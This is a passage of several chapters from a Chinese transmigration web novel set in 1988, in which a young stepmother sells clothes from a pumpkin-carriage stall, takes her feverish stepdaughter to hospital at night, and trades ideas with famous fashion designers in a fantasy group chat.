若是除了这家商场，其他的商场门口也不同意她摆摊怎么办？可除了商场门口，自己又能去哪里摆摊卖衣服才能接触到目标客户群体呢？高歌的这笔生意，自己赚到三百多，看似很多，用来买布料也不剩多少。若是以后一套都卖不出去，自己和小莲怎么办？尤其是小莲，这孩子身体弱，还要花很多钱给她补好才行。 这么想着想着，水非仙开始觉得自己身上很冷，将身上的衣服收紧，明明正在吹的，是温热的秋风。 肚子饿就拿出包子啃一啃，口渴就先忍着，水非仙就这么从早上等到下午，又从下午等到天黑。目送过一批又一批人，却始终不见高歌的踪迹。 夜风吹着，吹得水非仙的头脑逐渐冷静下来，踏实过好每一天，认真走完每一步，不留遗憾即可。为什么要用明天的未知来惩罚今天的自己呢？ 只是，高歌还没来，不能确定他是不是忘记来取衣服这件事。但不管顾客来不来，自己作为买家都得信守承诺，就这么等下去吧。等到明天早上该为小莲做饭的前一个小时再回去好了。 想到这里，水非仙的心安定下来，她望向头顶的明月，月亮啊月亮，感谢你今夜的陪伴。 夜里十一点多，一辆奥迪v8在路口缓缓停下，高歌从车上走下来。 他下车后向车中挥挥手，“今天非常感谢，回去路上小心。”他的样子看上去有几分醉意。他摇摇晃晃地往后退两步，车上的人好像说了些什么，高歌又摆摆手，大概是想说自己不需要被送吧，水非仙猜测。 可当高歌目送着那辆奥迪v8开走后，又站直身体，似乎从没醉过。 水非仙确定车子再也看不到高歌后，起身奔向高歌，“高先生，你来了。” 高歌点点头，有些愧疚道，“不好意思，来晚了，我想着你应该已经回去了。只是想到我们的约定，以防万一，还是来看看。” “没有关系，你来了就好。”水非仙将打包好的成衣递给高歌，“你还好吗？需要我送你回去吗？” 高歌摇摇头，“没事，怪我自己，不提前了解清楚内地做生意的规矩，如果知道我肯定在来内地之前就把酒量练好。说起来这里的人真是奇怪，不管谈什么生意，必须先上酒桌，把对方喝趴下甚至能成功一半。我本以为一两个小时就能走，谁知道能从下午一直喝到现在。” “那你可要加油练习了。”水非仙想，这可不只是现在，很多年后，生意场还是这个样子。 高歌将自己定制的成品打开欣赏，十分满意，“共勉，水小姐的手艺出彩，生意定然也会不错。”高歌夸赞道。 水非仙自嘲地摇摇头，“好什么？今天零开张。” 高歌有些惊讶，“是发生了什么吗？有难处的话不妨向我倾诉，水小姐。” 水非仙将今天发生的事分享给高歌，一脸无奈。 高歌听着水非仙面临的困境，思索着怎么样才能礼貌地开口。 水非仙看出对方的顾虑，“高先生，您若是有思路分享给我，我感激还来不及，不需要那么顾忌我的自尊。”话虽这么说，高歌恰如其分的距离感和彬彬有礼的言谈举止还是给水非仙留下不错的印象。 高歌轻笑，“那我就直说了水小姐。你是一位优秀的服装设计师，你很懂创作，但您不懂销售。不过这也是所有设计师的共通点，只管创作而不懂怎么卖出去。” 高歌一下子就抓住水非仙当前的需求痛点，水非仙忍不住更靠近一些，认真听着。 高歌又开口，“在下看来，人流量反而并没有那么重要。你当下要做的，是得把名气打出去，你卖的不是快消品，甚至生产效率很低。那就需要挖掘高端买家。名气，才是你接近目标客户的入场券。这可不是摊位在哪里能带来的效果。相反，你在商场门口摆摊，反而会被质疑利用大品牌的影响力，这会导致你离他们更远一些。我的话可能有些直，但哪怕你没有这个意思，在他们的眼中，这种行为也会没那么光彩。艺术家可以无所谓。但艺术，需要光环。你也应该知道，欧洲的精品成衣店开在小巷子里的都比比皆是，人们还是趋之若鹜。” “那，我要怎么样才能扩大名气呢？”水非仙向前一步，眼神热切。 “独一无二，水小姐。”高歌并不介意水非仙的靠近，相反，他觉得一位有才华的女子全心全意投入自己事业中的样子，很有魅力。“按照我个人的建议，你应该找到你商品中不可替代的卖点，肉眼可见的那种。要知道，大部分买家是看不出你成品设计里面的高低，他们最多能看出版型，用料，针脚以及上身效果什么的，这一点很多品牌和很多裁缝都能做得非常好。” “那你指的是？” “附加价值，水小姐。通过为买家提供肉眼可见的附加价值，让他们觉得在你这里消费很能满足心理需求，或者说在你这里消费整个过程中带来的体验感是不可替代的。那么，名气自然而然会随之到来，有了名气，你便能够拥有接近高定客户群体的入场券。” 水非仙细细思考高歌的话，几秒后，她抬头露出灿烂的笑容，“醍醐灌顶，高先生。不过……” “不过什么呢？”这么快就想到办法了？高歌有些好奇。 “不过高先生，你是位商人，为什么会做没有好处的事。我可不会天真地以为你是看上我了。免费的才是最贵的，你不如具体说说，想从我这里获得什么。”水非仙直接道。 高歌愣了一下，接着轻笑两声，“不好意思，最近和这些心思九曲十八弯的人打交道惯了。这么直接的话，我一时没反应过来。之所以帮着你，是奔着两点好处。” “不知是哪两点呢？”水非仙直接问道。 高歌本身也没打算卖关子，和性格直接的 7. 高烧 《后妈每晚都水群[八零]》全本免费阅读 “小莲！”水非仙扑到艾小莲身边，伸手去摸艾小莲的额头。 小莲的额头，滚烫无比。 “小莲，醒醒小莲，告诉妈妈哪里不舒服好不好？”水非仙试图唤醒艾小莲的意识。 “嗯……疼……”艾小莲此刻已经烧得迷迷糊糊，她在难受得喃喃自语的同时，身体也时不时抽搐起来。 小莲这个岁数的孩子，身体抽搐那说明至少发烧度数超过39度。 不能再耽搁，家中没有电话水非仙双手颤抖地将女儿背起，她的心中充满恐惧。 这是她第一次当母亲，而她却失败得令自己的女儿病到这个地步。 水非仙你也太不用心了，她暗骂着自己，现在想想，分明女儿昨天就表现出不对劲，若是能再细心一点就好了，早一点带孩子去医院，怎么就能到这个地步。 水非仙这具身体不过只有19岁，平时又娇生惯养，艾小莲虽然瘦弱，到底还是个九岁小女孩的重量。 水非仙想背得动她，实在有些困难，事实上，在刚背起女儿时，水非仙就被压弯了腰。 1988年，急救电话刚在首都试行，普及到Y城这样的二线城市都得1989年。何况这年代的电话安装费高达八百，质量好的电话安起来高达一千。这费用老百姓家承担不起。 摆在水非仙面前的只有一条路，那就是背着女儿一步一步走到医院去，且小诊所早已关门，只有这附近最大的医院可能还留着急诊部门。 “宝贝，妈妈带你去医院，你别怕。”水非仙咬紧牙关，用所有的力气背起女儿往外走。 水非仙和艾小莲的家在五楼，是这栋楼的顶层。那个年代的楼道灯按钮，在每层楼的右侧，即楼下一层抵达楼上后，最近的位置。 楼道灯按压按钮后，会亮起，过半分钟自动熄灭。这样的安装位置，方便的是夜里上楼的人，对下楼的人一定程度会造成不便。不过那个年代没有什么夜生活，少数需得服从多数也有一定的道理。 水非仙所在单元，四楼和二楼的灯，都是坏的。她只能靠在楼梯的最外侧，扶着满满一层灰的铁扶手，一级一级台阶地试探着下楼。千万不能踩空，半层台阶虽说不到十级，摔下去不会造成过重的伤，但自己背后背着的可是自己在这个世界的整个家。 无论如何不能踏空，水非仙强迫自己保持高度集中的注意力，稳稳地下着楼。 “小莲，不能睡过去，听妈妈跟你说话，小莲。”水非仙已经顾不上这个点会不会扰民，她不断地同艾小莲说话，这个时候绝对不可以任由陷入昏迷的状态，若持续保持着失去意识的状态发着高烧，福利院院长曾说过，这样会烧坏脑子。 终于，经过长长的楼梯，水非仙的双脚踩在踏实的地面上。踏上平地的一瞬间，水非仙疾步走起来，她告诉自己，稳住，不能跑，跑到最后一定会没有力气。保持快步前进，一定可以尽快到达医院。 小路上没有路灯，路灯那都是主干道才会配备，何况现在超过12点，哪怕是主干道，这个点路灯也早就关闭。 快步离开家属院后，水非仙想要到达主干道，还需要经过两条长长的石子路，石子路上并不都是小石头，还随处可见大块、棱角不平的石头。 水非仙太过着急，走路时踩到一块尖锐的光滑石头，导致她不受控制地向前摔倒。在摔倒的那刻，她的双手死死护住身后的女儿，也因此在摔倒的一瞬间，女儿的重量整个压在她的背上。 她听到“砰”的一声，接着剧烈的疼痛感从膝盖处传来，她的眼泪一下子就涌入眼眶中，真的好痛，水非仙从来不知道摔倒能产生这样的疼痛，就好像这地上抹着辣椒面，刚才的那一些，膝盖是在辣椒面中摔破一样。她尝试着动一下，背上的重量几乎让她无法动弹。 “好疼……救救我……”女儿如小兽般呜咽着的声音传来，那声音一下子就刺痛水非仙的心。 她紧紧咬着后槽牙，也不知道自己哪来的力气，竟能从地上挣扎起来。 水非仙想起在福利院的时候，她发着高烧，却不敢打扰任何人的样子，也是这样可怜巴巴地缩在床上，难受得发着抖，无人理会。 她可以无人在乎，但她的女儿不能是，这孩子一天是我的女儿，就一辈子都是我的女儿。无论如何，她不要留下遗憾，不能让这孩子出事，天大的困难也休想压垮一位母亲。 终于摸索着站起身的水非仙，将女儿在背上的位置调整一下，好像感觉不到疼痛一样，继续向前快速走起来。 “小莲，妈妈给你唱歌，你听着，不要睡知道吗？”水非仙知道的老歌不多，她思索一番，终于想到一首。 “花篮的花儿香啊，听我来唱一唱，唱呀一唱。来到了南泥湾，南泥湾好地方……”这么一首《南泥湾》，那个晚上，水非仙不知道唱了多少次，就着歌声还有月色，那一晚的母女二人一起完成对自我的挑战。 从起重机厂到医院，三站路，水非仙竟只花费二十分钟就背着女儿走到了。 水非仙冲进急诊部，急诊部是医院三层主楼旁的一栋平房。此时在急诊部前台值班的只有一位小姑娘。 她看到水非仙背着女儿进来后，赶紧上去帮忙，将艾小莲送入急诊室中。 在女儿被送进去的那一刻，水非仙整个像开始融化的冰块，瘫倒在急诊室门口的椅子上，双眼还死死盯着急诊室的大门。 那名护士好心地上前，“您好，请问您的右腿需要处理一下吗？” 水非仙这才想起自己也受着伤，她点点头，将裤腿撩起。“需要的，麻烦了。” 水非仙的膝盖上有块碗口大的伤口，鲜血顺着伤口一圈，蜿蜒出很多条红色的血迹溪流，有些已经干涸，有些还在继续流淌。伤口的上方是一层青黑色的土，将伤口压得严严实实，连红色都盖得若隐若现。 “嘶……”护士小姐用棉签蘸着药水接触到伤口的一瞬间，水非仙忍不住痛到抽气。 那护士小姐看到水非仙满面愁容的样子，出声安慰道，“没事的，小孩子发烧很正常。不需要这么紧张，你送来得也及时，肯定没事的。” “好，谢谢你。”水非仙感激地看向护士，支付完费用后又转头紧盯着急诊室。水非仙很感谢护士的好意，可她怎么可能不担心？ 一个多小时后，急诊室的大门终于打开。医生用轮椅将艾小莲运出来交给水非仙，交待道，“送来的还算及时，整个检查过没有引起并发症，物理降温过现在体温已经往下走了。再输两瓶液就能回家了。”说完又去嘱咐护士。 水非仙紧绷着的神经一下子就松开，她噙着泪水，不住地鞠躬感谢着医生，“谢谢您，真的太谢谢您。” 看到护士上前来抱艾小莲，水非仙坚持，“这木椅子硬，孩子病着，靠着可能不舒服，就在我怀里输液吧，麻烦您了。” 水非仙将艾小莲的头挪到自己手臂的位置，自己也向后靠在椅背上。空气中的酒精味闻起来竟令人产生几分困意。 8. 赌约 《后妈每晚都水群[八零]》全本免费阅读 “我跟你们说啊，你们快别整天私下说什么小水手艺好，做的菜怪香的这种话。”听到赵姐这么说，街坊邻里疯狂给她使眼色。 那赵姐却一掐腰，“你们怕啥？你们说的那都是好话，我跟你们说，她哪有那本事。我去那市场打听了，她可是连十几二十块一小瓶的蚝油都敢买，这些调料放下去，就是炒你李老汉的鞋底子也好吃啊。” 水非仙有些无语，好好的心情就被这种人破坏掉，她压根不想理这位什么赵姐，拉着小莲就想走。 谁想到那赵姐还上赶子往水非仙身前一挡，“有个事跟你说，上次给你介绍那对象啊，后来一听我说你吃饭都要买蚝油这种金贵调料，吓得啊，直呼幸亏没跟你找，不然这谁能养得起啊。姐上次是说错了，这小东西不是拖油瓶，你才是嘛。真是，没那有钱人的命，还光享受。” 水非仙压根不想理这种人，这种人啊，你越理她她越来劲。可当她走出两步后，水非仙感到手上传来一阵力道。 水非仙低头一看，艾小莲的眼眶红红的。她才想起，大人的世界同小孩是不一样的，或许现在的自己在她的眼里，就是被欺负了。 想到这里，水非仙立刻带着艾小莲回头，她直面对上赵姐，“谁告诉你，吃这些东西不在我的承受范围内？” 那赵姐没想到水非仙会折而复返还一副兴师问罪的样子，“啧”的一声吧唧一下嘴皮，眼神上下打量一番母女二人，一副看不起眼前之人的样子。 水非仙再次开口，“夏虫不可语冰，我不认为跟人讲道理，或者今天骂赢了你，就能从根本上改变一个人。我们不妨比比，看看十年后，你那所谓的优越感还在不在？看看我水非仙还能不能吃得起你所谓的这些贵重物品？看看你的日子，究竟会不会比我水非仙过得好？” 那赵姐像是听到什么笑话，她“哈哈”一声大笑，转向街坊邻里讲道，“这小姑娘是疯了吧？我赵春燕，丈夫，儿子都在起重机厂，我们家一个月能挣四百，还都是吃得公家饭，是铁饭碗知道吧？她一个吃了上顿没下顿的个体户，不对，你连个体户还算不上，听说她摆地摊都被撵了。居然想和我家比，真是疯了。” 铁饭碗？这个世界上从来就不存在铁饭碗这种东西，水非仙想。到哪里都有饿不死的一门技艺，这才是真正的铁饭碗。将希望寄托在任何人，任何集体，任何组织上，那都是靠不住的。 “对，我就是要和你比，输了我水非仙跟你道歉，见到你都绕着走，相反你给我记住了，你也是一样的。”水非仙目光坚定地看向赵春燕。 赵春燕“呵呵”一笑，“年轻人，真是欠缺社会的毒打。咱们城市最赚钱的裁缝，一个月也不到五百块。你一个半道出家的小年轻，还能比得过人家老手艺？你赵姐这一家的生活水平可不在那老裁缝之下。” “我十分确定自己在说什么，只怕你不敢。”水非仙以进退有礼的态度说着最狠的话，无疑打着眼前这位站没站相老妇人的脸。 “好！”赵春燕一拍大腿，“到时候你别不敌，把这房子再偷偷卖了，买个小平房跑路。” “不会。那就这样，打赌期间胜负未定，请把嘴放干净些，尤其是在孩子面前。”水非仙想，这样未来黄金地段的老式楼房，除非自己脑子被门挤了，否则根本不会卖好吗？ 赵春燕双手叉腰，挺着个下巴，高傲道，“行，街坊邻里都做个见证。不是老婆子欺负小姑娘，是对方主动找老婆子打赌的。” 不愿多理对方，水非仙拉着女儿的手，转头就往家里走。 “是因为我吗？”艾小莲糯叽叽的声音从下方传来。 “嗯？” “你本来不想理她的。”小家伙的表情看上去有些自责。 水非仙蹲下来，注视着自己的女儿，“小莲，不要自责，你记住，妈妈从来不打没准备的仗。我既然同她打赌，那就是有把握会赢，还是说你觉得妈妈会输给她呀？”水非仙边说边假装出一副很伤心的表情逗着女儿。 谁知对方却没有上当，艾小莲认认真真看着水非仙的眼睛，说道，“你会赢的，我会帮你，也会努力，我不会让你输。” 这话让水非仙愣住片刻，酸意悄然间爬上鼻尖，这孩子，怎么就能这么懂事呢。 回到家里后，水非仙喊艾小莲再去床上躺一会儿，自己则去厨房忙碌起来。 肉菜和饭弄在一起，是这个时代孩子们最喜欢的美味。水非仙处理完三文鱼，便开始忙碌。 将青椒洗净切成丁，青葱切成段，蒜拍碎。又将三文鱼切成方块后均匀地涂抹一层盐，沾上薄薄一层高筋面粉。由于高筋面粉质地松散，不厚的粉层才能使鱼煎出来表面光滑、漂亮。接着锅中倒油烧热，开中火将鱼煎至变色捞出。随后将前面准备好的辅料，再加上豆豉炒香。闻到香味后再加入鱼块和酱油，翻炒后捞出浇在米饭上，这一道三文鱼烩饭就成了。 艾小莲一如既往地已经等在桌旁，乖巧地坐着，吞咽着口水。 水非仙将艾小莲的那份拿到她的面前，艾小莲口水咽得更厉害，却坚持着不吃。 “乖，你先吃，妈妈将多余的烩饭给你王阿姨送去。” 艾小莲这才点点头，埋头吃起来。 水非仙将半锅饭，用一个搪瓷大盆装好，又拿出另一个搪瓷盆扣在上面。下楼往隔壁单元的王姐家走。 在到家属院楼下时，那赵春燕，又探头探脑地偷看水非仙手里拿的什么。 见对方理都没理她，她转过头又跟街坊开始嚷嚷，“呦，闻着那么香，那吃的不是饭，是钞票啊。” 后面又说什么水非仙压根没听到，也没兴趣去听。她年轻，脚步轻快，很快就到王姐家门口，抬手轻轻敲门，“王姐，是我，小水，我来送东西。” 很快就听到里面王姐喊着“来了”的同时出来开门，“呦，小水，你这是拿的什么？早知道你拿东西过来我就不开门了，你带这个孩子不容易，别往姐这儿送。”边说边伸手赶着水非仙，还要关门，防止水非仙送吃的，居委会干这么多年，她很清楚这种时候关门是最有效拒礼的方式。 水非仙笑嘻嘻地将门顶住，直接将盆塞进王姐的怀中，“你不收，我下次有困难就不找你帮忙了。这是三文鱼烩饭，好东西，我和小莲的那份留了。专门多做了些给你尝尝。” 王姐一听，眉毛就紧紧皱起来，急着将手里的东西推回去，“三文鱼？我听说那一斤要好几块，是猪肉的好几倍呢？乖乖，这么金贵的东西，怎么能给你王姐呢？王姐是居委会的，你别让王姐犯错，好意王姐心领了，你快拿回去。” 可那水非仙将双手往身后一背，“和居委会有什么关系？我把你当姐，前段时间，小莲都说你帮我们不少，你不收孩子该伤心了。” 听到水非仙拿 9.南瓜马车 《后妈每晚都水群[八零]》全本免费阅读 水非仙：罗兰前辈，贵公司1993年推出的香槟，你还有印象吗？能否借用？ 伊夫圣罗兰：当然，虽然香槟是Sanofi接手后制成，并非出自我手，可它确实取得不小的成功，完美衔接上我的鸦片和巴黎带来的成绩。所以它的配方和工艺，我是知道的。 水非仙：那太好了。 伊夫圣罗兰：只是，你似乎忽略了一点，水，即使我将配方和制作工艺告知你。你又要怎么去将它制作出来呢？我猜在y市买一套合适的制香工具并不容易。 X：可以将配方和制作工艺告诉我，我有办法在做好后，送到水小姐房中的抽屉里。 伊夫圣罗兰：这真是太好了。 珍妮朗万：为什么你能做到比我们更多的事？是这个群聊给你的权限更高吗？ X：朗万前辈说笑了，只是我来自未来世界，科技更发达一些，我手边的恰好有能隔时空运送物品的机器罢了。 水非仙：那就拜托各位前辈了，我先去准备其他东西。 记忆点就位，那么接下来就是针对外观上的包装。 水非仙清点一下手中剩下的钱，前面从高歌那里净赚三百多将近四百，去掉买东西和带小莲看病的钱，现在自己手头剩下不到一千三百块。 这钱，怎么看都不够，不过还好，家中的食物这几天囤下不少，够吃一段时间。干脆拼一把，不舍得投入就永远没有出头之日。即使这些钱全部挥霍完，水非仙也能靠做裁缝活再赚回来。 想到这里，水非仙抽出两张一百放回床头柜里，带着其他所有钱，告诉艾小莲一声，便出门。 这个年代没有互联网实属不便，找什么都需要跟人打听。就水非仙这点稀薄得可怜的人际关系，她别无可选，只能再一次厚着脸皮去敲响王姐家的房门。 “王姐，你知不知道，哪里能请到木工师傅？”水非仙问道。 “木工？小水，你是要打家具吗？大概要做什么？”王姐将水非仙请进家门，耐心问道。 问到做什么，水非仙有些不好意思开口道，“做……一辆南瓜马车……” “南瓜马车？那是什么东西？”王姐一脸疑问，难道是做给小莲的玩具。 “是这样，我是想定做一辆南瓜马车形状的手推车。用结实一点的板材来做就好。里面可以承载两到三个人的重量就行，重要的是我一个人能够推得动，也不需要多大，更不需要多还原，着色什么的都可以用普通的油漆。” 水非仙边说边给王姐比划着。 在她给王姐讲述的过程中，王姐的丈夫从卧室中走出来，安静地听着。 等到水非仙说完她大概的想法，王姐的丈夫开口问道，“灰姑娘的南瓜马车那样是吗？我大概知道你想要什么样子的。白英的童话书上有画。”白英，王姐的女儿。 这位白大哥思索片刻，“我也会木工，从前我爸就是木工，后来我毕业分配工作才来的起重机厂。你要是相信你白大哥，我给你做。你这一辆摊位车做下来找别人得一千多，我不要你手工费，就收个成本六百行不？” 居然还有这样的好事？水非仙大喜过望，但还是保持冷静，“无功不受禄，我怎么能占白大哥和王大姐的便宜，再加点吧？” 白大哥摆摆手，“别跟你大哥大嫂客气了。大哥也有事想求你，这两年啊，我们这些公家厂子，眼看内部是越来越门道深了。里面人人都觉得捧这个铁饭碗就没个后顾之忧了。可你白大哥冷眼瞧着，小年轻想要的东西，我们这些厂子根本做不出来。伟人们都说，年轻人是国家的未来。那他们想要什么，是不是就有可能代表以后的大家想要什么，现在又鼓励个体户，那个体户都是互相竞争留下来的，我们这些厂子不管是经营方式也好、又或者生产的东西也罢，时间长了怎么跟人家比？虽说这白英以后肯定进我们厂子，但我总觉得，总有一天会变天。到那一天，小水还得你帮帮我们白英。” 王姐在一旁搭话，“老白说得对着呢，这三年啊，东西越来越贵，钱越来越不值钱。光是倒买倒卖的人都到处都是。有钱都愁着花不出去，放在手里没几天那就啥也买不起了。王姐啥也不懂都知道这不对劲，工资是开始涨了，但这搞得东西更贵了。小水你的衣服卖得确实贵，可就这么搞下去，再过个三五年，搞不好你再翻上一倍它都不贵了。所以姐和姐夫啊，看好你，我们帮你也是给自己留条后路。以后不行，我们就跟着你干，这是真话，所以不用和我们客气。” “好。”水非仙至此不再跟二位客气。她向后看到白大哥和王姐房中的一架子书，心生感慨，谁说人就一定会被所处环境所处时代局限思维困住脚步呢？这世上总有一些人，始终在拓宽自己的井口，任何时代，都无法将这种人从前进的列车上赶下去。 在王姐的指引下，水非仙找到当地的造纸厂，定制一批包装盒。又去牛大哥牛大嫂那里进一批好看的布料，就开始没日没夜地在群中三位的帮助下制衣，终于在南瓜马车油漆干的那一天，赶制出所有成衣。 小张是一位纺织厂女工，这天，她中午下班休息，准备去两条街外的路口买碗馄饨吃。走到一半，突然一股甜甜的微醺味儿飘入她的鼻子里，这个味道是香槟？好像又不对，比香槟好闻很多，没有那股气泡酒的酸涩味。她好像看到一位身处在纸醉金迷名利场中的富家千金，手中晃着一杯晶莹剔透的香槟，在朝她微微招手。 她压抑不住自己的好奇心，朝着味道的来处寻去。 路的尽头，一辆童话风配色的南瓜马车停在那里，仔细看那南瓜马车上还有金属条纹图案，南瓜马车的正前方，被做成两扇门的样子，那两扇门如今是敞开的状态，那两扇门上，还镶嵌着两面镜子。 在马车的一旁，还站着一位女子，身上穿着亮眼又奇怪的格子裙。她的存在同那马车一起，显得和现实世界格格不入，有一种抽离于这个世界的美感。 马车的前方，围着一群看热闹的人。大家都被吸引着，却又在面对过于新奇的事物时，不敢上前。 小张与他们不同，遇到自己感兴趣的事物，她向来敢于直接去问，否则夜里做梦岂不是要老是梦到，后悔怎么当初没有开口呢。 “姐姐，你好，请问你穿的这是什么，这种格子没有见过，看上去可真是好看。”小张礼貌地夸赞着。 “这叫蒙德里安方格裙，它是由一位著名的设计师伊夫圣罗兰设计，是不是很好看呢？”水非仙温柔道。 小张点点头，“确实很特别，从没见到过。不过，姐姐，你这里是做什么的呢？” 听到小张问到关键的部分，周围围着看热闹的人，认真听起来。 水非仙神秘一笑，“知道《灰姑娘》这篇童话故事吧？灰姑娘在里面有位神仙教母，我作为神仙教母就是为你们而来。你相信吗？每一位女孩都是公主，只是遗忘了自己的公主裙，而我的南瓜车 10.请家长 《后妈每晚都水群[八零]》全本免费阅读 “它在我的成品中都属于不便宜的，这条裙子要两百块。你要考虑清楚。”水非仙好心提醒道。 周围的人听到这里已经有些动心，两百块虽然说确实很贵，可这两年的物价上涨速度也确实快啊。这个价位虽然说贵，却也没那么夸张，还是能接受的。更何况，要是真能穿上有这个效果，又能让爱的人开心，这个钱花得就会感觉很值。 听到这个价格，小张攥紧拳头，“姐姐，我身上没有那么多钱，我明天找你来买，你可不能把它卖掉啊。” 水非仙为难道，“是这样的，宝贝，我这辆南瓜车呢，位置是不固定的。每半天我会换一个位置。同一个位置，一个月我不会去两次。谁能遇到我，谁不能遇到我，这个全凭缘分的。” 听到这里，很多人已经狂奔回去，听到了吗？这家店就在这里待半天了。Y市好歹是个比较大的城市，谁知道她下次会出现在哪，还能不能遇到！ 听到水非仙的话，小张显得有些慌神，她赶紧道，“那姐姐，你等等，我回去跟人借一下。” 说完，小张拔腿就跑，赶回纺织厂内，东拼西凑地借到二百块钱，又在中间请假出去，第一时间将这条裙子买回来，所有人都催促她换上。而小张换上这条裙子的样子，惊艳了整个车间。只是还没来得及怎么看，对方就十分珍惜地将裙子换下来，好好保存着。 于是，这天下午，整个纺织厂的女工都知道有个叫水非仙的神仙教母，会根据你的样子来卖给你最合适自己的公主裙。 八零年代末的纺织厂女工，几乎就是这个时代潮流的风向标。城里的很多女孩子，都会刻意去学这些青春靓丽的纺织厂女工如何穿搭。 就在这两天，厂中的女工上下班时口中念叨的，都是那神秘的南瓜马车，和双手有魔法，能变出好看裙子的神仙教母。 人与人之间传消息的速度，远比水非仙想得要快，两三天内，城中大部分姑娘都知道有她这么个南瓜马车。这导致遇上水非仙的车子，姑娘们不管买不买，不管能不能找到合适自己的，总要进去试试，哪怕买不到，也要记住样子，出来后买个与神仙教母推荐的款式差不多的衣服。只可惜，满大街卖的还是喇叭裤，A字裙、小衬衣的年代，想找到水非仙款式的替代品，确实太难。 就在水非仙南瓜马车推出的第三天，南瓜马车前已经排起长长的队伍，哪怕每次这辆马车只能接待一名买家，队伍向前的速度十分的慢，也没有人愿意中途离开，便宜了旁人。 水非仙总是温柔又耐心地对待每一位买家，给每位买家以公主的体验感。 水非仙粗略地计算一下，手头有的这些成品衣，已经不够支撑两天，按照这个速度，以后每两天就要去牛大哥牛大嫂家中进一批布料才行。 既然如此，以后便每隔一天，出一次摊好了，另外一天就去进布料加制成衣。一次出摊净利润在二百多，那么一个月，再加上高歌的成品利润，一个月就能赚小四千。 倒不是说一次只能赚两百多，而是产能跟不上，这双手只能做这么多。已经很好了，这么攒下去，最多一年，就可以开一家属于自己的店面。到时候，小莲中午就不用一个人待在家里，也可以来店里。自己也不用推着推车到处跑了。 提前卖完库存的水非仙想到这里，脚步轻快地推着南瓜马车回到起重机家属院，今天能早早回家可以先休息一会儿再给小莲做饭。她将南瓜马车推进自行车棚中，又进门房大爷那里取出白大哥额外给做的铁皮罩子，将铁皮罩子套在南瓜马车上并锁起来。 正巧，赵春燕恰好坐在院子里无所事事地戳是非。 看到水非仙锁车子，不屑地“切”一声，故意嚷嚷道，“呦，这是防谁呢？跟防贼一样。” 水非仙连招呼都懒得跟她打，防谁，心里没数吗？ 赵春燕见水非仙不理自己，又讪讪地为自己找补，“哎，你们知道吗？她这辆车子，我找人问过，做下来要一千呢？” 街坊邻里听到这个数字都吓得抽起气来，这么贵，不吃饭了吗？ 那赵春燕满意地看着邻居们的脸色，抬起手，遮着嘴巴又开始嚷嚷道，“你们说，这个钱，她赚得回来吗？吃公家饭的都得攒好久才能赚回来吧？听说啊，商场门口这样人流量好的地方，已经不让她去了。都不知道她能摆到哪里去？这下不是亏死了。” 水非仙摇摇头，转身上楼走去，她才不会说，这两三天下来，南瓜马车的成本已经回来。更不会提，自己的月收入已经是他们的十倍。 人性就是如此，你比他只好一些，还在他能承受的范围内，他便会嫉妒你，伤害你。此时过这个嘴瘾对自己没有任何好处，反而有可能会被使阴招。反正这个赌一打就是十年，且看看十年后自己能走到哪一步？等到自己的位置是他仰望都看不到的高度，再把这些账，一笔一笔算算清楚。 回到家中的水非仙见女儿放学还没回来，便回到卧室，进入群聊中。 水非仙：报告，香槟效果非凡，已翻身。 伊夫圣罗兰：那就好。 X：那就好。 水非仙：不过，香槟确实卓越，X先生针对香槟的改版也非常独具匠心呢。将香槟这款香水里，气泡酒酸涩的味道全部去掉，这点我很喜欢，感觉X先生与我的想到一处了，真是巧。 X：这没什么，天气太热的时候，很多人都不会喜欢带有酸味的香水。加入更多的甜度，将其打造成一瓶陈酿，确实更迷人些。 片刻后，他又补充一句。 X：我相信群中的其他前辈来制作，也会根据自己的喜好而改良的。 伊夫圣罗兰：不过有一点，水，我很好奇，为什么不用鸦片呢？那是我第一次来华国时，根据鼻烟壶着稀奇的小玩意儿创造出的香水，我以为华国人应该更喜欢它才对。 水非仙：哦，罗兰先生，很抱歉这样说，你对八零年代末华国人们对香槟这种酒的执着，一无所知。但凡换个味道，都不能起到这样的效果。 X：不过水小姐，你真的很厉害。这次的创意，你将产品故事、饥饿营销、记忆点打造三方面都做到极致。真是令人敬佩啊。 水非仙看得有些脸红，这位X先生对自己还真是毫不吝啬赞美之辞。 没聊一会儿，水非仙就听到门口传来响动。应该是女儿回来了。 水非仙睁开双眼退出群聊，热情地起身迎接，“小莲，你回来啦。” 进门后的小莲却委屈地将头埋得很低，带着哭腔地“嗯”一声便冲回房中。 这孩子，是怎么了？在哪受委屈了吗？ 想着小莲心情会不好，味道也会不好。晚饭水非仙没有做什么特别补的菜色，只是熬了一锅绿豆粥，多放上几块冰糖，想着给孩子清热祛祛火。 艾小莲接过碗， 11.她的梦想 《后妈每晚都水群[八零]》全本免费阅读 水非仙眉头微蹙，上前接过笔将信息填好，和艾小莲一起离开门房，丝毫没有同门房大爷纠缠的想法。一来与门房大爷讨论教育问题显然不合适，二来这是学校门口，还要顾及小莲的自尊心。 专业的问题还是要交给专业的人来解决，见到老师后把问题反映给她，剩下的相信老师就好。想要解决问题的水非仙加快脚步，同艾小莲一起穿过中心大广场来到教学楼前。 整个教学楼坐北朝南，东西边都配备有楼梯，每个年级只有两个班，一层有四个班，四层是备用的空教室。教师办公室是每层楼共用一个大的，分布在每层楼东边楼道口的对面。 “我们班主任姓白，教语文的。除了我们年级，她还带二年级一个班的语文，一个主课老师教三个班。”艾小莲带着水非仙上楼的同时，为她介绍着老师的大概情况。 水非仙认真听着，出生于二十多年后的她，确实不了解这时候的教育资源有多匮乏。通过女儿的描述，她的脑海中刻画出一位兢兢业业、呕心沥血的教师形象。 艾小莲带着水非仙很快来到二楼的教师办公室，艾小莲上前大喊一声：“报告！” “进来。”里面传出一声尖细的中年女声。 艾小莲听到声音后掀起和被子一样厚的门帘，带着水非仙进入办公室。办公室中有两位女老师，正凑在一起，将热水瓶中的水，倒入自己杯子里。 艾小莲领着水非仙上前，对着其中一位身材有些微胖，地包天脸型，头发分为上下两部分，下半部分披肩发，上半部扎起来的中年女子，哆哆嗦嗦地说道，“白老师，这是我妈妈。我带来了。” 那位白老师先是用一种令水非仙不舒服的眼神上下打量一圈水非仙，又领着二人走到自己的办公桌前自己坐下来。她的鼻子重重一吐气，然后开口：“小莲妈妈，你说说你，打扮得这么好看，怎么就不多管管小莲呢？” 这没鼻子没眼的一句话属实让水非仙没反应过来，为给老师留下个好印象，今天自己身上穿的，不过就是从原身衣柜中翻出的一件针织连衣裙，她自认为已经十分朴素，可这又关小莲什么事，她疑惑问道，“小莲在家里很乖的，是在学校出了什么事吗？” 